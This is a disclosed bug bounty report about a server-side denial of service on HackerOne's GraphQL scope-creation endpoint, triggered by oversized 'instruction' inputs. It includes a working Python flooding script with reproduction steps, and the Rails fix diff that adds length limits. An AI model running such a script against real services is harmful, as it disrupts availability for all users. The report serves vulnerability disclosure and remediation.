HackerOne · Report #887321
Uploading large payload on domain instructions causes server-side DoS
Summary
This was a DoS vulnerability in a specific endpoint that didn't limit the size of the upload. As explained in the hacker summary, we limited the payload to mitigate the attack.
Note : To everyone who sees this report, if a program accepts DoS vulnerabilities please try to try test carefully as it is not ideal to disrupt services for everyone. I would advise you that when testing for DoS, once you receive an error and get huge amounts of delays please stop immediately, and report right away. Do not do what I did on this report. Thank you!
On the program sandbox I have found that when creating domain instructions when adding a scope there is no input validation which was the cause of the server-side DoS. The character limit on the big input boxes is set to 10k, however with this I observed that there was not any, at first I reported this as a client-side DoS because it would render the scope management page unusable and there was no way to delete it, it was then closed as a duplicate of #584030 however digging further into this, I made a python script that allowed me to upload large amounts of payloads every request I then put it into a loop and around 350+ request I noticed an HTTP 500 Internal Server Error I then stopped to see if I had caused disruption, at first the page were loading fine so I run the python script again (note : I was running this python script on 4 terminals) and again, after a while this is when I noticed disruption on my side, and to confirm I asked the people from discord if they got disruption and they did. They received an a 502, and a 504 HTTP errors, and caused disruption on my side as well.
Python Script (note: you need to put your own cookies if you want to try)
import requests
g = input("Enter : ")
burp0_url = "https://hackerone.com:443/graphql"
burp0_cookies = x
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://hackerone.com/testingfordos/scopes/new", "content-type": "application/json", "X-Auth-Token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTI1MzI0MzV9.qyfpwC--aQXOLd9TQ7l-016rI0wXZ33ocCvL10DU6dc----5047344", "Origin": "https://hackerone.com", "Connection": "close"}
a = ""
for i in range(15000):
a += "بٍٍٍٍََُُُِّّّْرٍٍٍٍََُُِِّّّْآٍٍٍَُّ"
for i in range(50):
burp0_json={"operationName": "CreateStructuredScope", "query": "mutation CreateStructuredScope($team_id: ID!, $asset_type: StructuredScopeAssetTypeEnum, $asset_identifier: String!, $eligible_for_bounty: Boolean, $eligible_for_submission: Boolean, $instruction: String, $availability_requirement: String, $confidentiality_requirement: String, $integrity_requirement: String, $reference: String, $notify_subscribers_of_changes: Boolean, $custom_message: String, $label_ids: [ID!]) {\n createStructuredScope(input: {team_id: $team_id, asset_type: $asset_type, asset_identifier: $asset_identifier, eligible_for_bounty: $eligible_for_bounty, eligible_for_submission: $eligible_for_submission, instruction: $instruction, availability_requirement: $availability_requirement, confidentiality_requirement: $confidentiality_requirement, integrity_requirement: $integrity_requirement, reference: $reference, notify_subscribers_of_changes: $notify_subscribers_of_changes, custom_message: $custom_message, label_ids: $label_ids}) {\n was_successful\n team {\n id\n structured_scopes(first: 500) {\n edges {\n node {\n id\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n errors(first: 100) {\n edges {\n node {\n id\n type\n field\n message\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n", "variables": {"asset_identifier": str(i) + str(g) + ".com", "asset_type": "URL", "availability_requirement": "high", "confidentiality_requirement": "high", "eligible_for_bounty": True, "eligible_for_submission": True, "instruction": a+a+a+a+a+a+a+a+a+a, "integrity_requirement": "high", "label_ids": [], "notify_subscribers_of_changes": True, "reference": "sadasdasdas", "team_id": "Z2lkOi8vaGFja2Vyb25lL1RlYW0vNDkwNzg="}}
x = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
print(str(x.status_code) + " Status - Delay : " + str(x.elapsed.total_seconds()) + " seconds")
print(x._content)
Steps To Reproduce :
- Add a domain on Scope Management
- Intercept this POST /graphql the one with the "operationName":"CreateStructuredScope"
- Now put a huge payload on instruction parameter and keep sending it
- Reload pages until disruption is observed
The report was then triaged right 10 mins after reporting, and I was told by @jobert to stop my test. The team then rolled a fix which looked like this :
diff --git a/app/models/structured_scope.rb b/app/models/structured_scope.rb
index f975f383c4..6c3928d2a7 100644
--- a/app/models/structured_scope.rb
+++ b/app/models/structured_scope.rb
@@ -97,7 +97,8 @@ class StructuredScope < ApplicationRecord
AVAILABILITY_REQUIREMENT,
].freeze
- MAX_INSTRUCTION_LENGTH = 5000
+ MAX_INSTRUCTION_LENGTH = 10000
+ MAX_REFERENCE_LENGTH = 1000
validates :asset_identifier, presence: true
validates :asset_type, inclusion: { in: ASSET_TYPES }
@@ -109,7 +110,8 @@ class StructuredScope < ApplicationRecord
}
validate :eligibility
validates_with CountryValidator, fields: [:country], alpha2: true
- validates :instruction, length: { maximum: MAX_INSTRUCTION_LENGTH }, on: :create
+ validates :instruction, length: { maximum: MAX_INSTRUCTION_LENGTH }
+ validates :reference, length: { maximum: MAX_REFERENCE_LENGTH }
As you can see, there is now input validation to this which immediately stopped the server-side DoS from happening as it would block the request. Again, please test responsibly for DoS vulnerabilities responsibly don't cause harm to program's services. Thank you! :)
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.